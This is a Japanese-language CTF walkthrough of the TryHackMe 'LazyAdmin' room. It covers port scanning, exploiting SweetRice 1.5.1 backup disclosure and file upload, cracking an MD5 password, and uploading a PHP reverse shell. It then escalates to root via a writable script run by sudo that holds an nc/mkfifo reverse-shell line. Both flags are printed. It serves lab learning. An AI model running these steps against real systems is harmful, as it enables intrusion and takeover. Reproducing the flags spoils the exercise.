概要
TryHackMe「LazyAdmin」のWalkthroughです。
Task1
Q1.What is the user flag?
nmap
を実行します。
$ nmap -Pn -sC -A -T4 -sV 10.10.68.113
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 05:38 EDT
Nmap scan report for 10.10.68.113
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
| 256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
|_ 256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.55 seconds
ssh:22
,http:80
がオープンしていると分かりました。
隠しディレクトリを列挙します。
$ gobuster dir -u http://10.10.68.113 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
2つのパスがわかりました。
/content (Status: 301) [Size: 314] [--> http://10.10.68.113/content/]
/server-status (Status: 403) [Size: 277]
/content
にアクセスするとSweetRice
が使われていると分かりました。
GitHubでディレクトリ構成を把握できました。
/content/inc/latest.txt
にアクセスし、バージョンが1.5.1
だとわかりました。
エクスプロイトコードを検索するといくつかヒットしました。
$ searchsploit sweetrice 1.5.1
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
SweetRice 1.5.1 - Arbitrary File Download | php/webapps/40698.py
SweetRice 1.5.1 - Arbitrary File Upload | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure | php/webapps/40718.txt
SweetRice 1.5.1 - Cross-Site Request Forgery | php/webapps/40692.html
SweetRice 1.5.1 - Cross-Site Request Forgery / PHP Code Execution | php/webapps/40700.html
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
SweetRice 1.5.1 - Arbitrary File Upload
などを見るとログイン情報が必要なので他を当たります。
username = input("Enter Username : ")
password = input("Enter Password : ")
filename = input("Enter FileName (Example:.htaccess,shell.php5,index.html) : ")
file = {'upload[]': open(filename, 'rb')}
payload = {
'user':username,
'passwd':password,
'rememberMe':''
}
SweetRice 1.5.1 - Backup Disclosure
に注目します。
これはhttp://localhost/inc/mysql_backup
にアクセスするとMysqlのバックアップファイルを取得できるということです。
今回の環境ではhttp://<target ip>/content/inc/mysql_backup
にアクセスするとバックアップファイルを得られました。
バックアップファイルを見ていると、クレデンシャル情報を見つけました。
"Description\\";s:5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\
Username: manager
,パスワードはハッシュ化されています。
ハッシュ値を調べるとMD5だとわかりました。
ハッシュ値の解析をします。
$ john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123 (?)
1g 0:00:00:00 DONE (2024-06-13 07:45) 14.28g/s 482742p/s 482742c/s 482742C/s coco21..redlips
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
パスワードがPassword123
だとわかりました。
/content/as
にアクセスするとログインフォームがあるので、得られたクレデンシャル情報でログインを試みます。
成功しました。
ログイン情報を得られたのでSweetRice 1.5.1 - Arbitrary File Upload
の悪用を試みます。
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
| _________ __ __________.__ |
| / _____/_ _ __ ____ _____/ |\______ \__| ____ ____ |
| \_____ \ \/ \/ // __ \_/ __ \ __\ _/ |/ ___\/ __ \ |
| / \ /\ ___/\ ___/| | | | \ \ \__\ ___/ |
|/_______ / \/\_/ \___ >\___ >__| |____|_ /__|\___ >___ > |
| \/ \/ \/ \/ \/ \/ |
| > SweetRice 1.5.1 Unrestricted File Upload |
| > Script Cod3r : Ehsan Hosseini |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
Enter The Target URL(Example : localhost.com) : 10.10.68.113/content
Enter Username : manager
Enter Password : Password123
Enter FileName (Example:.htaccess,shell.php5,index.html) : php-reverse-shell.php5
[+] Sending User&Pass...
[+] Login Succssfully...
[+] File Uploaded...
[+] URL : http://10.10.68.113/content/attachment/php-reverse-shell.php5
PHPのリバースシェルコードをアップロードしました。
Netcatでリッスンします。
$ nc -lvnp 1234
listening on [any] 1234 ...
http://10.10.68.113/content/attachment/php-reverse-shell.php5
にアクセスすることで、シェルを取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.68.113] 34968
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
14:47:53 up 2:17, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
/home/itguy/user.txt
を閲覧してフラグゲットです。
$ cat /home/itguy/user.txt
cat /home/itguy/user.txt
THM{63e5bce9271952aad1113b6f1ac28a07}
A.THM{63e5bce9271952aad1113b6f1ac28a07}
Q2.What is the root flag?
sudo -l
を見ます。
$ sudo -l
sudo -l
Matching Defaults entries for www-data on THM-Chal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on THM-Chal:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
sudo /usr/bin/perl /home/itguy/backup.pl
がパスワードなしで特権ユーザーとして実行できると分かりました。
backup.pl
の内容を見てみます。
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
/etc/copy.sh
を実行していると分かりました。
/etc/copy.sh
の内容を見ます。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f
特にこのコードで権限昇格には繋がらなさそうですね。
/etc/copy.shはwww-data
アカウントで編集可能なので編集して権限昇格につなげます。
pythonが使えると分かりました。
python --version
Python 2.7.12
上記のGTFOBinsを参考にpythonの権限昇格コードを/etc/copy.sh
に保存します。
$ echo '/usr/bin/python -c '"'"'import os; os.system("/bin/sh")'"'" > /etc/copy.sh
/home/itguy/backup.pl
を実行すると特権ユーザーのシェルを獲得できました。
$ sudo /usr/bin/perl /home/itguy/backup.pl
sudo /usr/bin/perl /home/itguy/backup.pl
# whoami
whoami
root
/root/root.txt
のフラグを取得できました。
# cat /root/root.txt
cat /root/root.txt
THM{6637f41d0177b6f37cb20d775124699f}
A.THM{6637f41d0177b6f37cb20d775124699f}